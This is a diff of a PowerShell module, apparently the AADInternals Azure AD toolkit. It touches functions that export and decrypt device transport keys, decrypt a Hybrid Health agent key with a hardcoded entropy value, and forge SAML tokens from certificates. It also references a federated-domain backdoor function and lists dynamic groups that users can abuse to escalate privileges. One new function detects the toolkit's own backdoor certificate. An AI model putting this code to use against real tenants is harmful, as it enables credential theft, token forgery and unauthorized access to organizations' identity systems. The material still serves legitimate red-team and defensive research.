.Example
|
||||
PS C\:>Get-AADIntLocalDeviceJoinInfo
|
||||
WARNING: This device has a TPM, exporting keys probably does not work!
|
||||
|
||||
JoinType : Joined
|
||||
RegistryRoot : HKLM:\SYSTEM\CurrentControlSet\Control\CloudDomainJoin
|
||||
CertThumb : FFDABA36622C66F1F9104703D77603AE1964E92B
|
||||
CertPath : Cert:\LocalMachine\My\FFDABA36622C66F1F9104703D77603AE1964E92B
|
||||
TenantId : afdb4be1-057f-4dc1-98a9-327ffa079cca
|
||||
DeviceId : e4c56ee8-419a-4421-bff4-1d3cb1c85ead
|
||||
AuthUserObjectId : b62a31e9-8268-485f-aba8-69696cdf3048
|
||||
KeyName : C:\ProgramData\Microsoft\Crypto\PCPKSP\[redacted]\[redacted].PCPKEY
|
||||
KeyFriendlyName : Device Identity Key
|
||||
IdpDomain : login.windows.net
|
||||
UserEmail : package_c1b50acc-82f6-4a19-ba87-e62e5f7fbeee@company.com
|
||||
AttestationLevel : 0
|
||||
AikCertStatus : 0
|
||||
TransportKeyStatus : 3
|
||||
DeviceDisplayName : cloudpc-80153
|
||||
OsVersion : 10.0.19044.1469
|
||||
DdidUpToDate : 0
|
||||
LastSyncTime : 1643622945
|
||||
#>
|
||||
[CmdletBinding()]
|
||||
param()
|
||||
Process
|
||||
{
|
||||
$AADJoinRoot = "HKLM:\SYSTEM\CurrentControlSet\Control\CloudDomainJoin"
|
||||
$AADRegisteredRoot = "HKCU:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WorkplaceJoin"
|
||||
|
||||
# Check the join type and construct return value
|
||||
if(Test-Path -Path "$AADJoinRoot\JoinInfo")
|
||||
{
|
||||
$joinRoot = $AADJoinRoot
|
||||
$certRoot = "LocalMachine"
|
||||
$attributes = [ordered]@{
|
||||
"JoinType" = "Joined"
|
||||
"RegistryRoot" = $AADJoinRoot
|
||||
}
|
||||
}
|
||||
elseif(Test-Path -Path "$AADRegisteredRoot\JoinInfo")
|
||||
{
|
||||
$joinRoot = $AADRegisteredRoot
|
||||
$certRoot = "CurrentUser"
|
||||
$attributes = [ordered]@{
|
||||
"JoinType" = "Registered"
|
||||
"RegistryRoot" = $AADRegisteredRoot
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
return $null
|
||||
}
|
||||
|
||||
# Get the Device certificate thumbnail from registery (assuming the device can only be joined once)
|
||||
$regItem = (Get-ChildItem -Path "$joinRoot\JoinInfo\").Name
|
||||
$certThumbnail = $regItem.Substring($regItem.LastIndexOf("\")+1)
|
||||
$certificate = Get-Item -Path "Cert:\$certRoot\My\$certThumbnail"
|
||||
|
||||
$oids = Parse-CertificateOIDs -Certificate $certificate
|
||||
|
||||
$attributes["CertThumb" ] = "$certThumbnail"
|
||||
$attributes["CertPath" ] = "Cert:\$certRoot\My\$certThumbnail"
|
||||
$attributes["TenantId" ] = $oids.TenantId
|
||||
$attributes["DeviceId" ] = $oids.DeviceId
|
||||
$attributes["AuthUserObjectId"] = $oids.AuthUserObjectId
|
||||
|
||||
# This will fail for DeviceTransportKey because running as Local System
|
||||
try
|
||||
{
|
||||
$attributes["KeyName" ] = [System.Security.Cryptography.X509Certificates.RSACertificateExtensions]::GetRSAPrivateKey($certificate).key.uniquename
|
||||
$attributes["KeyFriendlyName"] = [System.Security.Cryptography.X509Certificates.RSACertificateExtensions]::GetRSAPrivateKey($certificate).key.uipolicy.FriendlyName
|
||||
}
|
||||
catch
|
||||
{
|
||||
# Okay
|
||||
}
|
||||
|
||||
# Read the join info
|
||||
$regItem = Get-Item -Path "$joinRoot\JoinInfo\$certThumbnail"
|
||||
$valueNames = $regItem.GetValueNames()
|
||||
foreach($name in $valueNames)
|
||||
{
|
||||
$attributes[$name] = $regItem.GetValue($name)
|
||||
}
|
||||
|
||||
# Check the TPM
|
||||
if($attributes["TransportKeyStatus"] -eq 3)
|
||||
{
|
||||
Write-Warning "Transport key stored to TPM, exporting not possible!"
|
||||
}
|
||||
|
||||
return New-Object psobject -Property $attributes
|
||||
}
|
||||
}
|
||||
@@ -1,181 +0,0 @@
|
||||
# This file contains utility functions for local AAD Joined devices
|
||||
|
||||
# Exports the transport key of the local device
|
||||
# Dec 17th 2021
|
||||
function Get-LocalDeviceTransportKeys
|
||||
{
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[ValidateSet('Joined','Registered')]
|
||||
[String]$JoinType,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$IdpDomain,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$TenantId,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$UserEmail
|
||||
)
|
||||
Begin
|
||||
{
|
||||
$sha256 = [System.Security.Cryptography.SHA256]::Create()
|
||||
}
|
||||
Process
|
||||
{
|
||||
# Calculate registry key parts
|
||||
$idp = Convert-ByteArrayToHex -Bytes ($sha256.ComputeHash([text.encoding]::Unicode.GetBytes($IdpDomain)))
|
||||
$tenant = Convert-ByteArrayToHex -Bytes ($sha256.ComputeHash([text.encoding]::Unicode.GetBytes($TenantId)))
|
||||
$email = Convert-ByteArrayToHex -Bytes ($sha256.ComputeHash([text.encoding]::Unicode.GetBytes($UserEmail)))
|
||||
$sid = Convert-ByteArrayToHex -Bytes ($sha256.ComputeHash([text.encoding]::Unicode.GetBytes(([System.Security.Principal.WindowsIdentity]::GetCurrent()).User.Value)))
|
||||
|
||||
|
||||
if($JoinType -eq "Joined")
|
||||
{
|
||||
$registryPath = "HKLM:\SYSTEM\CurrentControlSet\Control\Cryptography\Ngc\KeyTransportKey\PerDeviceKeyTransportKey\$Idp\$tenant"
|
||||
}
|
||||
else
|
||||
{
|
||||
$registryPath = "HKLM:\SYSTEM\CurrentControlSet\Control\Cryptography\Ngc\KeyTransportKey\$sid\$idp\$($tenant)_$($email)"
|
||||
}
|
||||
|
||||
if((Test-Path -Path $registryPath) -eq $false)
|
||||
{
|
||||
Throw "The device seems not to be Azure AD joined or registered. Registry key not found: $registryPath"
|
||||
}
|
||||
|
||||
# Get the Transport Key name from registry
|
||||
try
|
||||
{
|
||||
$transPortKeyName = Get-ItemPropertyValue -Path "$registryPath" -Name "SoftwareKeyTransportKeyName"
|
||||
}
|
||||
catch
|
||||
{
|
||||
# This machine probably has a TPM, so the value name would be "TpmKeyTransportKeyName"
|
||||
Throw "Unable to get SoftwareTransportKeyName from $registryPath"
|
||||
}
|
||||
|
||||
Write-Verbose "TransportKey name: $transportKeyName`n"
|
||||
|
||||
# Loop through the system keys
|
||||
$systemKeys = Get-ChildItem -Path "$env:ALLUSERSPROFILE\Microsoft\Crypto\SystemKeys"
|
||||
foreach($systemKey in $systemKeys)
|
||||
{
|
||||
Write-Verbose "Parsing $($systemKey.FullName)"
|
||||
$keyBlob = Get-BinaryContent $systemKey.FullName
|
||||
|
||||
# Parse the blob to get the name
|
||||
$key = Parse-CngBlob -Data $keyBlob
|
||||
if($key.name -eq $transPortKeyName)
|
||||
{
|
||||
Write-Verbose "Transport Key found! Decrypting.."
|
||||
|
||||
# Decrypt the found key
|
||||
$transPortKey = Parse-CngBlob -Data $keyBlob -Decrypt -LocalMachine
|
||||
|
||||
return $transPortKey
|
||||
}
|
||||
}
|
||||
}
|
||||
End
|
||||
{
|
||||
$sha256.Dispose()
|
||||
}
|
||||
}
|
||||
|
||||
# Parses the oid values of the given certificate
|
||||
# Dec 23rd 2021
|
||||
function Parse-CertificateOIDs
|
||||
{
|
||||
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True,ValueFromPipeline)]
|
||||
[System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate
|
||||
)
|
||||
Process
|
||||
{
|
||||
function Get-OidRawValue
|
||||
{
|
||||
Param([byte[]]$RawValue)
|
||||
Process
|
||||
{
|
||||
# Is this DER value?
|
||||
if($RawValue.Length -gt 2 -and ($RawValue[2] -eq $RawValue.Length-3 ))
|
||||
{
|
||||
return $RawValue[3..($RawValue.Length-1)]
|
||||
}
|
||||
else
|
||||
{
|
||||
return $RawValue
|
||||
}
|
||||
}
|
||||
}
|
||||
$retVal = New-Object psobject
|
||||
foreach($ext in $Certificate.Extensions)
|
||||
{
|
||||
switch($ext.Oid.Value)
|
||||
{
|
||||
"1.2.840.113556.1.5.284.2" {
|
||||
$retVal | Add-Member -NotePropertyName "DeviceId" -NotePropertyValue ([guid][byte[]](Get-OidRawValue -RawValue $ext.RawData))
|
||||
|
||||
}
|
||||
|
||||
# "The objectGuid of the user object ([MS-ADSC] section 2.268) on the directory server that corresponds to the authenticating user."
|
||||
# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dvrj/850786b9-2525-4047-a5ff-8c3093b46b88
|
||||
# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dvre/76747b5c-06c2-4c73-9207-8ebb6ee891ea
|
||||
# I.e. the object ID in AAD of the user who joined/registered the device
|
||||
"1.2.840.113556.1.5.284.3" {
|
||||
$retVal | Add-Member -NotePropertyName "AuthUserObjectId" -NotePropertyValue ([guid][byte[]](Get-OidRawValue -RawValue $ext.RawData))
|
||||
|
||||
}
|
||||
"1.2.840.113556.1.5.284.5" {
|
||||
$retVal | Add-Member -NotePropertyName "TenantId" -NotePropertyValue ([guid][byte[]](Get-OidRawValue -RawValue $ext.RawData))
|
||||
|
||||
}
|
||||
"1.2.840.113556.1.5.284.8" {
|
||||
# Tenant region
|
||||
# AF = Africa
|
||||
# AS = Asia
|
||||
# AP = Australia/Pasific
|
||||
# EU = Europe
|
||||
# ME = Middle East
|
||||
# NA = North America
|
||||
# SA = South America
|
||||
$retVal | Add-Member -NotePropertyName "Region" -NotePropertyValue ([text.encoding]::UTF8.getString([byte[]](Get-OidRawValue -RawValue $ext.RawData)))
|
||||
}
|
||||
"1.2.840.113556.1.5.284.7" {
|
||||
# JoinType
|
||||
# 0 = Registered
|
||||
# 1 = Joined
|
||||
$retVal | Add-Member -NotePropertyName "JoinType" -NotePropertyValue ([int]([text.encoding]::UTF8.getString([byte[]](Get-OidRawValue -RawValue $ext.RawData))))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return $retVal
|
||||
}
|
||||
}
|
||||
|
||||
# Gets service account names for all services
|
||||
# Aug 29th 2022
|
||||
function Get-ServiceAccountNames
|
||||
{
|
||||
[cmdletbinding()]
|
||||
|
||||
Param()
|
||||
Process
|
||||
{
|
||||
foreach($service in Get-ChildItem -Path "HKLM:\SYSTEM\CurrentControlSet\Services\")
|
||||
{
|
||||
$svcName = $service.PSChildName
|
||||
$svcAccount = $service.GetValue("ObjectName")
|
||||
|
||||
if(![string]::IsNullOrEmpty($svcAccount))
|
||||
{
|
||||
Write-Debug "Service: '$svcName', AccountName: '$svcAccount'"
|
||||
|
||||
New-Object psobject -Property ([ordered]@{"Service" = $svcName; "AccountName" = $svcAccount})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+128
-50
@@ -46,17 +46,17 @@ function New-SAMLToken
|
||||
The password of the .pfx file
|
||||
|
||||
.Example
|
||||
PS C:\>$saml = New-AADIntSAMLToken -ImmutableId "Ah2J42BsPUOBoUcsCYn7vA==" -Issuer "http://mysts.company.com/adfs/ls" -PfxFileName ".\MyCert.pfx" -PfxPassword -Password "mypassword"
|
||||
PS C:\>$saml = New-AADIntSAMLToken -ImmutableId "Ah2J42BsPUOBoUcsCYn7vA==" -Issuer "http://mysts.company.com/adfs/ls" -PfxFileName ".\MyCert.pfx" -PfxPassword "mypassword"
|
||||
|
||||
.Example
|
||||
PS C:\>$cert = Load-AADIntCertificate -FileName "MyCert.pfx" -Password "mypassword"
|
||||
PS C:\>$saml = New-AADIntSAMLToken -ImmutableId "Ah2J42BsPUOBoUcsCYn7vA==" -Issuer "http://mysts.company.com/adfs/ls" -Certificate $cert
|
||||
|
||||
.Example
|
||||
PS C:\>$saml = New-AADIntSAMLToken -ImmutableId "Ah2J42BsPUOBoUcsCYn7vA==" -Issuer "http://mysts.company.com/adfs/ls" -PfxFileName ".\MyCert.pfx" -PfxPassword -Password "mypassword"
|
||||
PS C:\>$saml = New-AADIntSAMLToken -ImmutableId "Ah2J42BsPUOBoUcsCYn7vA==" -Issuer "http://mysts.company.com/adfs/ls" -PfxFileName ".\MyCert.pfx" -PfxPassword "mypassword"
|
||||
|
||||
.Example
|
||||
PS C:\>$saml = New-AADIntSAMLToken -UPN "My PC" -DeviceGUID (New-Guid) -Issuer "http://mysts.company.com/adfs/ls" -PfxFileName ".\MyCert.pfx" -PfxPassword -Password "mypassword"
|
||||
PS C:\>$saml = New-AADIntSAMLToken -UPN "My PC" -DeviceGUID (New-Guid) -Issuer "http://mysts.company.com/adfs/ls" -PfxFileName ".\MyCert.pfx" -PfxPassword "mypassword"
|
||||
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
@@ -265,7 +265,7 @@ function New-SAML2Token
|
||||
The password of the .pfx file
|
||||
|
||||
.Example
|
||||
PS C:\>New-AADIntSAML2Token -ImmutableId "Ah2J42BsPUOBoUcsCYn7vA==" -Issuer "http://mysts.company.com/adfs/ls" -PfxFileName "MyCert.pfx" -PfxPassword -Password "mypassword"
|
||||
PS C:\>New-AADIntSAML2Token -ImmutableId "Ah2J42BsPUOBoUcsCYn7vA==" -Issuer "http://mysts.company.com/adfs/ls" -PfxFileName "MyCert.pfx" -PfxPassword "mypassword"
|
||||
|
||||
.Example
|
||||
PS C:\>$cert=Get-AADIntCertificate -FileName "MyCert.pfx" -Password "mypassword"
|
||||
@@ -536,7 +536,7 @@ function Open-Office365Portal
|
||||
Which browser to be used. Can be "IE", "Chrome", or "Edge". Defaults to "Edge"
|
||||
|
||||
.Example
|
||||
PS C:\>Open-AADIntOffice365Portal -ImmutableId "Ah2J42BsPUOBoUcsCYn7vA==" -Issuer "http://mysts.company.com/adfs/ls" -PfxFileName "MyCert.pfx" -PfxPassword -Password "mypassword"
|
||||
PS C:\>Open-AADIntOffice365Portal -ImmutableId "Ah2J42BsPUOBoUcsCYn7vA==" -Issuer "http://mysts.company.com/adfs/ls" -PfxFileName "MyCert.pfx" -PfxPassword "mypassword"
|
||||
|
||||
.Example
|
||||
PS C:\>$cert=Get-AADIntCertificate -FileName "MyCert.pfx" -Password "mypassword"
|
||||
@@ -567,7 +567,9 @@ function Open-Office365Portal
|
||||
[switch]$UseBuiltInCertificate,
|
||||
|
||||
[Parameter(ParameterSetName='UseAnySTS',Mandatory=$True)]
|
||||
[Parameter(Mandatory=$False)]
|
||||
[Parameter(ParameterSetName='Certificate',Mandatory=$False)]
|
||||
[Parameter(ParameterSetName='FileAndPassword',Mandatory=$True)]
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Issuer,
|
||||
|
||||
[Parameter(ParameterSetName='Certificate',Mandatory=$True)]
|
||||
@@ -598,7 +600,7 @@ function Open-Office365Portal
|
||||
{
|
||||
$Certificate = Load-Certificate -FileName "$PSScriptRoot\any_sts.pfx" -Password ""
|
||||
}
|
||||
elseif($Certificate -eq $null) # Load the ceftificate
|
||||
elseif($Certificate -eq $null) # Load the certificate
|
||||
{
|
||||
try
|
||||
{
|
||||
@@ -684,49 +686,6 @@ function Open-Office365Portal
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
# Gets immutable id from AD user
|
||||
function Get-ImmutableID
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets Immutable ID using user's AD object
|
||||
|
||||
.DESCRIPTION
|
||||
Gets Immutable ID using user's AD object
|
||||
|
||||
.Parameter ADUser
|
||||
Users AD object.
|
||||
|
||||
.Example
|
||||
PS C:\>$user=Get-ADUser "myuser"
|
||||
PS C:\>$immutableId=Get-AADIntImmutableID -ADUser $user
|
||||
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
|
||||
[Parameter(Mandatory=$True)]
|
||||
$ADUser
|
||||
|
||||
)
|
||||
Process
|
||||
{
|
||||
|
||||
if($ADUser.GetType().ToString() -ne "Microsoft.ActiveDirectory.Management.ADUser")
|
||||
{
|
||||
Write-Error "ADUser is wrong type. Must be Microsoft.ActiveDirectory.Management.ADUser"
|
||||
return
|
||||
}
|
||||
|
||||
# Convert GUID to Base64
|
||||
$guid=$ADUser.ObjectGUID.ToString()
|
||||
$ImmutableId=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.getBytes($guid))
|
||||
|
||||
return $ImmutableId
|
||||
}
|
||||
}
|
||||
|
||||
# Creates a backdoor to Azure AD by using an existing domain
|
||||
function ConvertTo-Backdoor
|
||||
@@ -921,5 +880,124 @@ function Get-ADFSIssuer
|
||||
throw "Issuer must be provided!"
|
||||
}
|
||||
|
||||
return $Issuer
|
||||
}
|
||||
}
|
||||
|
||||
# Finds backdoors using AADInternals default certificate
|
||||
function Find-Backdoor
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Finds federated domain backdoors.
|
||||
|
||||
.DESCRIPTION
|
||||
Lists all federated domains and their current and next signing certificate thumbprints.
|
||||
If AADInternals backdoor is found, a warning is given.
|
||||
|
||||
.Parameter AccessToken
|
||||
Access Token
|
||||
|
||||
.Example
|
||||
PS C:\>Find-AADIntBackdoor
|
||||
|
||||
WARNING: Domain company.myo365.site SigningCertificate is AADInternals backdoor!
|
||||
|
||||
Domain : company.myo365.site
|
||||
Subject : CN=hack.o365domain.org, O=Gerenios, S=Pirkanmaa, C=fi
|
||||
NextSubject :
|
||||
Thumbprint : 4B56E1F1B80024359E34010D9AAB3CED9C67FF5E
|
||||
NextThumbprint :
|
||||
Issuer : http://any.sts/B231A11F
|
||||
|
||||
.Example
|
||||
PS C:\>Find-AADIntBackdoor
|
||||
|
||||
WARNING: Domain company.com NextSigningCertificate is AADInternals backdoor!
|
||||
|
||||
Domain : company.com
|
||||
Subject : CN=ADFS Signing - sts.company.com
|
||||
NextSubject : CN=hack.o365domain.org, O=Gerenios, S=Pirkanmaa, C=fi
|
||||
Thumbprint : 2566A9000AA424DE73925D42C7D5115479C18CED
|
||||
NextThumbprint : 4B56E1F1B80024359E34010D9AAB3CED9C67FF5E
|
||||
Issuer : http://sts.company.com/adfs/services/trust
|
||||
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken
|
||||
)
|
||||
Begin
|
||||
{
|
||||
|
||||
|
||||
# Checks whether the given thumbprint matches AADInternals backdoor cert
|
||||
function IsBackdoor
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Thumbprint
|
||||
)
|
||||
if([string]::IsNullOrEmpty($Thumbprint))
|
||||
{
|
||||
return $false
|
||||
}
|
||||
else
|
||||
{
|
||||
return $Thumbprint -eq "4B56E1F1B80024359E34010D9AAB3CED9C67FF5E"
|
||||
}
|
||||
}
|
||||
}
|
||||
Process
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
|
||||
|
||||
$domains = Get-Domains -AccessToken $AccessToken
|
||||
|
||||
foreach($domain in ($domains | Select-Object -ExpandProperty "Domain"))
|
||||
{
|
||||
if($domain.Authentication -eq "Federated")
|
||||
{
|
||||
$federationSettings = Get-DomainFederationSettings -AccessToken $AccessToken -DomainName $domain.Name
|
||||
|
||||
if(![string]::IsNullOrEmpty($federationSettings.SigningCertificate))
|
||||
{
|
||||
$cert = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new([byte[]](Convert-B64ToByteArray -B64 $federationSettings.SigningCertificate))
|
||||
$certThumb = $cert.Thumbprint
|
||||
|
||||
if(IsBackdoor -Thumbprint $certThumb)
|
||||
{
|
||||
Write-Warning "Domain $($domain.Name) SigningCertificate is AADInternals backdoor!"
|
||||
}
|
||||
}
|
||||
|
||||
if(![string]::IsNullOrEmpty($federationSettings.NextSigningCertificate))
|
||||
{
|
||||
$nextCert = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new([byte[]](Convert-B64ToByteArray -B64 $federationSettings.NextSigningCertificate))
|
||||
$nextCertThumb = $nextCert.Thumbprint
|
||||
|
||||
if(IsBackdoor -Thumbprint $nextCertThumb)
|
||||
{
|
||||
Write-Warning "Domain $($domain.Name) NextSigningCertificate is AADInternals backdoor!"
|
||||
}
|
||||
}
|
||||
|
||||
[pscustomobject][ordered]@{
|
||||
"Domain" = $domain.Name
|
||||
"Subject" = $cert.Subject
|
||||
"NextSubject" = $nextCert.Subject
|
||||
"Thumbprint" = $certThumb
|
||||
"NextThumbprint" = $nextCertThumb
|
||||
"Issuer" = $federationSettings.IssuerUri
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
@@ -1,6 +1,68 @@
|
||||
# This script contains functions for Graph API at https://graph.windows.net
|
||||
# Office 365 / Azure AD v2, a.k.a. AzureAD module uses this API
|
||||
|
||||
function Get-DynamicAbusableGroups
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Return Entra ID groups with dynamic membership rule that contains attributes that can be modified by users.
|
||||
Related articles:
|
||||
https://medium.com/r3d-buck3t/abusing-dynamic-groups-in-azuread-part-1-ff12e328c8c0
|
||||
https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/
|
||||
|
||||
.DESCRIPTION
|
||||
Return Entra ID groups with dynamic membership rule that contains attributes that can be modified by users using the given Access Token
|
||||
|
||||
.Parameter AccessToken
|
||||
The Access Token. If not given, tries to use cached Access Token
|
||||
.
|
||||
.Example
|
||||
PS C:\>Get-AADIntAccessTokenForAADGraph -SaveToCache
|
||||
PS C:\>Get-AADIntDynamicAbusableGroups
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken
|
||||
)
|
||||
Process
|
||||
{
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
|
||||
$abusableCondsUser = @("ageGroup","jobTitle","city","givenName","displayName","companyName", "country","department","employeeType","mailNickname","mail","state")
|
||||
|
||||
$results=Call-GraphAPI -AccessToken $AccessToken -Command groups
|
||||
$dynamicGroups = $results | Where-Object groupTypes -contains "DynamicMembership"
|
||||
$userReg = 'user\.(.+?)\s'
|
||||
$abusableGroupsOutput = @{}
|
||||
foreach($dynamicGroup in $dynamicGroups){
|
||||
$abusable = $false
|
||||
$groupId = $dynamicGroup.objectId
|
||||
$groupTempList = @()
|
||||
$userMatches = $dynamicGroup.membershipRule | Select-String -Pattern $userReg -AllMatches
|
||||
foreach($userMatch in $userMatches.Matches)
|
||||
{
|
||||
$matchType = $userMatch.Groups[1]
|
||||
if($abusableCondsUser.Contains($matchType.value))
|
||||
{
|
||||
$abusable = $true
|
||||
}
|
||||
}
|
||||
if($abusable)
|
||||
{
|
||||
$abusableGroupsOutput.Add($groupId,$dynamicGroup.membershipRule)
|
||||
}
|
||||
}
|
||||
|
||||
$abusableGroupsOutput.keys | % {
|
||||
New-object psobject -Property @{
|
||||
'groupId' = $_
|
||||
'abusableRule' = $abusableGroupsOutput[$_]
|
||||
}
|
||||
}
|
||||
return $abusableGroupsOutput
|
||||
}
|
||||
}
|
||||
|
||||
function Get-AADUsers
|
||||
{
|
||||
[cmdletbinding()]
|
||||
|
||||
@@ -35,6 +35,11 @@ function Call-GraphAPI
|
||||
}
|
||||
$Headers["Authorization"] = "Bearer $AccessToken"
|
||||
|
||||
if([string]::IsNullOrEmpty($Headers["User-Agent"]))
|
||||
{
|
||||
$Headers["User-Agent"] = Get-UserAgent
|
||||
}
|
||||
|
||||
# Call the API
|
||||
$response = Invoke-RestMethod -UseBasicParsing -Uri "https://graph.windows.net/$TenantId/$Command`?api-version=$ApiVersion$(if(![String]::IsNullOrEmpty($QueryString)){"&$QueryString"})" -ContentType "application/json; charset=utf-8; odata.metadata=none" -Method $Method -Body $Body -Headers $Headers -ErrorAction SilentlyContinue
|
||||
|
||||
|
||||
@@ -409,66 +409,6 @@ function Send-ADFSServiceBusMessage
|
||||
}
|
||||
}
|
||||
|
||||
# Gets ADHybridHealthService agent information from the local computer
|
||||
# May 26th 2021
|
||||
function Get-HybridHealthServiceAgentInfo
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets ADHybridHealthService agent information from the local computer.
|
||||
|
||||
.DESCRIPTION
|
||||
Gets ADHybridHealthService agent information from the local computer.
|
||||
|
||||
.Parameter Service
|
||||
Which service's agent information to return. Can be one of "ADFS" or "Sync". Defaults to ADFS.
|
||||
|
||||
.Example
|
||||
PS C:\>Get-AADIntHybridHealthServiceAgentInfo
|
||||
|
||||
AgentKey : 6Fk9SiL[redacted]Hw==
|
||||
TenantId : 5d898b21-4478-4ee0-a2be-ad4dfb540b09
|
||||
ServiceId : 59f626ab-92cd-4658-b12f-12a604f5f1c2
|
||||
ServiceMemberId : 0bfc0715-1ed2-44c7-89ec-bf7842cc4575
|
||||
MachineId : 279a0323-4647-494c-ac3a-fc13545f3c33
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[ValidateSet("ADFS","Sync")]
|
||||
[String]$Service="ADFS"
|
||||
)
|
||||
Begin
|
||||
{
|
||||
# Add the required assembly and entropy
|
||||
Add-Type -AssemblyName System.Security
|
||||
$entropy = [text.encoding]::Unicode.getBytes("ra4k1Q0qHdYSZfqGxgnFB3c6Z025w4IU")
|
||||
}
|
||||
Process
|
||||
{
|
||||
$attributes = [ordered]@{}
|
||||
try
|
||||
{
|
||||
# Decrypt the agent key
|
||||
$encAgentKey = Convert-B64ToByteArray -B64 (Get-ItemPropertyValue -Path "HKLM:\SOFTWARE\Microsoft\ADHealthAgent" -Name "AgentKey")
|
||||
$attributes["AgentKey"] = Convert-ByteArrayToB64 -Bytes ([Security.Cryptography.ProtectedData]::Unprotect([byte[]]$encAgentKey, $entropy, 'CurrentUser'))
|
||||
|
||||
# Get other relevant agent information
|
||||
$attributes["TenantId"] = Get-ItemPropertyValue -Path "HKLM:\SOFTWARE\Microsoft\ADHealthAgent" -Name "TenantId"
|
||||
$attributes["ServiceId"] = Get-ItemPropertyValue -Path "HKLM:\SOFTWARE\Microsoft\ADHealthAgent\$Service" -Name "ServiceId"
|
||||
$attributes["ServiceMemberId"] = Get-ItemPropertyValue -Path "HKLM:\SOFTWARE\Microsoft\ADHealthAgent\$Service" -Name "ServiceMemberId"
|
||||
$attributes["MachineId"] = Get-ItemPropertyValue -Path "HKLM:\SOFTWARE\Microsoft\Microsoft Online\Reporting\MonitoringAgent" -Name "MachineIdentity"
|
||||
$attributes["Server"] = $env:COMPUTERNAME
|
||||
}
|
||||
catch
|
||||
{
|
||||
Throw "Must be run as Local Administrator and on the computer where the agent is installed!`nGot error: $($_.Exception.Message)"
|
||||
}
|
||||
|
||||
# Return
|
||||
New-Object -TypeName psobject -Property $attributes
|
||||
}
|
||||
}
|
||||
|
||||
# Create a fake hybrid health service event
|
||||
# May 26th 2021
|
||||
function New-HybridHealtServiceEvent
|
||||
|
||||
Binary file not shown.
@@ -41,7 +41,9 @@ function Join-DeviceToIntune
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$DeviceName
|
||||
[String]$DeviceName,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[guid]$ZtdCorrelationId
|
||||
)
|
||||
Process
|
||||
{
|
||||
@@ -61,7 +63,7 @@ function Join-DeviceToIntune
|
||||
|
||||
try
|
||||
{
|
||||
$joinInfo = Enroll-DeviceToMDM -AccessToken $AccessToken -DeviceName $DeviceName -BPRT $BPRT
|
||||
$joinInfo = Enroll-DeviceToMDM -AccessToken $AccessToken -DeviceName $DeviceName -BPRT $BPRT -ZtdCorrelationId $ZtdCorrelationId
|
||||
}
|
||||
catch
|
||||
{
|
||||
|
||||
+17
-5
@@ -76,7 +76,9 @@ function Enroll-DeviceToMDM
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$DeviceName,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[bool]$BPRT
|
||||
[bool]$BPRT,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[object]$ZtdCorrelationId
|
||||
)
|
||||
Process
|
||||
{
|
||||
@@ -105,6 +107,7 @@ function Enroll-DeviceToMDM
|
||||
"User-Agent" = "ENROLLClient"
|
||||
}
|
||||
|
||||
|
||||
# Create the CSR request body
|
||||
$csrBody=@"
|
||||
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing" xmlns:u="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wst="http://docs.oasis-open.org/ws-sx/ws-trust/200512" xmlns:ac="http://schemas.xmlsoap.org/ws/2006/12/authorization">
|
||||
@@ -126,22 +129,25 @@ function Enroll-DeviceToMDM
|
||||
<wsse:BinarySecurityToken ValueType="http://schemas.microsoft.com/windows/pki/2009/01/enrollment#PKCS10" EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd#base64binary">$csr</wsse:BinarySecurityToken>
|
||||
<ac:AdditionalContext xmlns="http://schemas.xmlsoap.org/ws/2006/12/authorization">
|
||||
<ac:ContextItem Name="UXInitiated">
|
